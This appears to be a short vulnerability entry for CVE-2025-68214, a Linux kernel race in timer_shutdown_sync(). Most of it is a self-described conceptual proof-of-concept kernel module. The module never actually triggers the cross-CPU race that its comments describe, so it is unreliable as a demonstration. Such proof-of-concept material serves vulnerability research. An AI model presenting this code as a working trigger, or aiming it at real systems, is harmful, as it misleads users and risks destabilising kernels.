CVE-2025-68214 Linux内核timer_shutdown_sync()竞态条件漏洞

// PoC concept - demonstrates the race condition in timer_shutdown_sync() // This is a conceptual proof of concept based on the race scenario described #include <linux/module.h> #include <linux/timer.h> static struct timer_list test_timer; static atomic_t timer_running = ATOMIC_INIT(0); static void timer_callback(struct timer_list *t) { // Simulate some work atomic_set(&timer_running, 1); // During execution, another CPU might call timer_shutdown_sync() // This creates the race condition // Simulate timer callback duration mdelay(100); atomic_set(&timer_running, 0); } static int __init poc_init(void) { printk(KERN_INFO "PoC: Setting up timer for race condition test\n"); timer_setup(&test_timer, timer_callback, 0); mod_timer(&test_timer, jiffies + msecs_to_jiffies(10)); // On another CPU, trigger timer_shutdown_sync during callback execution // This would trigger: WARN_ON_ONCE(!fn) in expire_timers() return 0; } static void __exit poc_exit(void) { timer_shutdown_sync(&test_timer); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL");